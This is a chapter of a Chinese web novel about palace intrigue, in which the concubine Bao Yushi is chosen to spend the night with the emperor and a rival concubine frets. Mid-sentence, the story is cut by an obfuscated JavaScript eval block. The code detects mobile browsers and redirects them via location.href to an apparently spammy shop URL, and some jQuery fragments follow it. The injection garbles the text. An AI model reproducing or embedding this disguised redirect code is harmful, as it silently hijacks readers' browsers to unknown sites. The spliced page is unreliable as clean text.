刘康全是皇上身边最得力的大太监,他的话必有几分把握才说得出来。
他这么说,不光是薄予诗彻底踏实下来,就连雪娥和月娥都眼睛一亮,说不出的高兴。
“如此,便多谢刘公公吉言了。”薄予诗浅浅一笑,比方才的娇羞更添了几分柔美动人。
早知薄美人容色出众,可远观与近看又大不相同,这位新主子一笑,直看得刘康全都恍惚了一瞬,忌讳得立刻垂下眼去。
薄予诗十分客气:“月娥,你亲自送公公出去。”
两个小太监忙放下赏赐,刘康全又客套了两句后,由月娥亲自送到门外,等人走远了,月娥才疾步回到了屋内。
雪娥终于忍不住笑起来:“方才可吓坏奴婢了,还以为皇上对小主不满,谁知道皇上到底念着小主,这会儿算是彻底放心了。”
薄予诗轻笑道:“赏不赏赐我倒是没想,只怕言语不当得罪了皇上,那将来就更如履薄冰了。好在是我多心,皇上方才径直离去,不过是与我玩笑罢了。”
其实也不怪薄予诗如此担惊受怕,常言道伴君如伴虎,她们这位圣上就更是了。
不论皇上表面看起来是多么英俊神武,气度不凡,似乎不是个铁血狠辣的帝王,可如今朝堂之上,谁也不会忘记他是如何登上的帝王宝座。
薄家从前如何鼎盛,如今又为何大不如前,一切皆因此而起。故而,薄予诗时刻记得自己为何入宫,不敢有丝毫差错。
虽说皇上已经登基七年,许多前尘往事早已无人提起,可帝王心思深沉如海,她还是不敢赌。
毕竟,她不知道皇上如今是怎么看待薄家的,更不知道如何看待出身薄家的她。
好在这一对玉镯在手,便说明皇上对她并无厌恶,还有些许兴趣,这就很好了。
雪娥看着案几上摆着的两只玉镯,怎么瞧怎么喜欢,不因别的,这是皇上命刘康全亲自送来的,那就意义非凡。
皇上的赏赐,谁还没有了?一想起这阵子郑宝林在小主跟前那股子持娇的模样,她心底就不痛快。
小主是这世间最好的女子,自然配得上所有最好的东西。郑宝林是什么东西,也配在小主面前炫耀。等明日再给皇后娘娘请安的时候,看她还笑得出来吗?
雪娥左看右看,只觉得哪个都是好的:“小主,您看看您想戴哪只?不然今晚侍寝的时候戴一个,明日去请安再换一个,轮着戴,那才风光无限呢。”
月娥迟疑了瞬,低声道:“虽说小主今日得皇上青眼是好事,可若太张扬了,难免成了靶子。上回您帮着齐贵人已经得罪了盈妃,倒不如和而不扬,才是保险之道。”
薄予诗垂眸看了一会儿,将那只翡翠镯子戴在了手上,淡淡道:“原先没急着承宠,就是为了避免成为靶子,这不是已经有郑宝林出来了吗?再说了,今日皇上来绮绿馆又赐下赏赐的事人尽皆知,我若还这么沉得住气,在上头那些娘娘眼里,未免太沉稳些了。”
月娥犹豫道:“您的意思是,若表现得太沉稳,反而令人忌惮猜疑?”
“我才进宫一个月,又年纪尚浅,即使出身官家见过世面,说到底也是藏不住心事的时候。若我事事太周全,不喜形于色又宠辱不惊,那也太吓人了点,”阳光下,她皓腕如雪,玉镯翠绿欲滴,实在是赏心悦目,薄予诗满意地笑了笑:“生存之道,就是该闭嘴的时候闭嘴,该愚蠢的时候愚蠢,否则人人见我如临大敌,我还能活几年。”
“何况,这是皇上的赏赐。我若不戴,万一皇上觉得赏我东西没趣儿怎么办?赏赐这东西,就是得受礼的人欢天喜地,赏赐之人才能心中满足,这道理搁在谁身上都是一样的。”
月娥凝神颔首:“还是小主想得周到,奴婢便没想得这么长远。”
薄予诗弯眸,示意月娥和雪娥放松些:“你稳重踏实,雪娥机灵爽快,这就很好。我在宫里生活,既需要你时刻提点我沉下来,也得有雪娥这般能为我加油鼓劲的,否则我该怎么办?”
她摆摆手:“今晚侍寝的一干事宜,午膳后便着手准备起来。至于外头的消息,时刻留着心吧。”
-
这一日,薄予诗呆在绮绿馆内没再出去。直到日头渐沉,暮色四合的时候,她才拢了拢身上的毯子,发觉已经快到晚膳的点了。
侍寝的人选一般都是晚膳前就定下来,晚膳后坐着车去建章殿,若是皇上来嫔妃宫内,也会提前掌灯。
但新妃入宫第一次都要在建章殿内侍寝,若皇上当真选了她,想来很快就会有御前的人来通知了。
薄予诗垂下长睫,微微颤了颤。
原本以为皇上选她是毋庸置疑的事,可下午月娥出去探听消息的时候,才得知皇上来绮绿馆之前,原本要去云华宫的郑宝林处。
圣心转圜是常有的事,但能转到她身上,自然也能再转到别人身上。何况皇上到底宠着郑宝林,万一为了弥补,晚上选了郑宝林侍寝也未可知。
夜色一点点攀上屋檐,漫进房间,薄予诗坐在梳妆台前良久无言,打算将腕间的镯子褪下去,谁知还没动手,雪娥从外头小跑进来,喜色溢于言表:“恭喜小主,贺喜小主,方才御前的人来了,请小主预备着今晚侍寝!”
尘埃落定,薄予诗再次勾起唇角,原本摸上手腕的手径直转向桌面上摆着的一只黄杨梳篦:“把先前调好的花汁子端进来,给我梳头。”
与此同时,绽蕊轩内,梅才人已经不记得自己站在院门口了多久。
她就这么眼睁睁看着御前来传旨的小太监匆匆地来又匆匆地去,心中说不出的失落。
她们这一批新人里,不论家世还是模样她都是上乘。虽说家世不如齐贵人,美貌不如薄美人,但扪心自问,自己不输她们几成风光,尤其和郑宝林比就更是了。
起初入住玉芙宫的时候,得知与薄美人一起住,她十分高兴,起码这说明,在上头眼里,她和薄美人一样都是有价值,有前途的。
但没想到,皇上如此出人意料,最先临幸的是郑宝林,最得宠的也是郑宝林。但不明白也罢,她总能安慰自己,连薄美人都没承宠,她又急什么?说不定皇上宠谁原本就不是单看美色,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553036|204310||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嫔妃这么多,一时忘了也是有的。
就这么等啊等,忽而这一天,她却听到皇上去了绮绿馆,晚上薄美人要侍寝的消息。
若说不失望是假的,梅才人进宫又不是来混吃等死养老的,眼看着一个个都侍寝了,她心中难免焦急。
跟着一起入宫的陪嫁侍女品竹上前劝道:“小主,入夜了露气重,咱们还是回去吧。”
“其实您想想,连薄美人都进宫了一个月才承宠,可见皇上的心思是无法揣度的。何况您这一批新入宫的嫔妃早晚会侍寝,您又何须伤怀。”
梅才人闷了好一会儿才哽咽道:“其实我知道,我就是突然觉得很心慌,觉得自己被落下了。我担心自己不光被落下了,还离她们越来越远,兴许将来连那群不如我的人都能踩在我头上。十二个新人,位分高的几个人里头,只有我没侍寝了。”
品竹叹了一口气,扶着梅才人往屋内走:“怎么会?您的出身摆在这,她们想越过您岂有这么容易。再说了,您和薄美人交好,将来见到皇上的机会多着呢……”
“当真吗?皇上也会喜欢我?”
“小主放宽心便是,自然是真的……”
当夜色彻底降临的时候,前来载着嫔妃去建章殿侍寝的马车缓缓停在了玉芙宫门前。
薄予诗从院内走出来,身后的雪娥手执宫灯随行而去,马车很快动身前往建章殿。马蹄声的回响渐渐越来越远,玉芙宫门前很快挂上两只精巧的艳红色灯笼,夜愈发浓重了。
不出很久,马车稳稳当当地停在侧门,薄予诗被雪娥扶着从车中走出来,门前已经候着四个司寝嬷嬷,见了人笑着朝她见礼。
忽而一阵晚风吹过,她毫无征兆地打了个冷战。身旁跟着的嬷嬷笑了声:“小主是冷了吧?春夜里凉,您仔细着了风寒。”
“建章殿偏殿里引了温泉水给嫔妃们沐浴,润泽肌肤、驱寒散热都是最好的。”
建章殿是皇上居所,听说极为宽敞华贵,分为前后左右四个部分。前殿会见大臣,后殿为寝殿,左右两个偏殿一个分管沐浴,一个是书房。
嫔妃若来建章殿侍寝,都要坐车从侧门入,然后直接去偏殿沐浴更衣,再去后殿候着侍寝。
薄予诗知道这个流程,只是没想到建章殿比她想象中更大,光是沐浴的偏殿都如此富丽堂皇。一进门先是一个供嫔妃们更衣梳洗的隔间,穿过游廊便见层层轻纱曼舞,温泉池内洒满了花瓣,远远看过去白雾蒸腾,更有数名宫女等候着供她驱使。
嬷嬷们带着她先走了一圈,然后回隔间为她褪去衣衫,卸去钗环。等一头青丝缓缓垂落的时候,为她梳头的嬷嬷有些惊讶:“小主平素用什么头油?好香的头发。闻着虽然淡,却让人心里暖暖的,竟有如沐春风之感。”
“宫里的嫔妃们常用茉莉油和桂花油,都是馥郁芬芳的上品,却从来没闻见过您这般的味道。”
薄予诗轻笑道:“并非什么稀罕玩意,不过是我闲来无事自己调的味道罢了,还请嬷嬷们将我头发包起来,别沾了水,这是今日才细细清洗润泽过的。”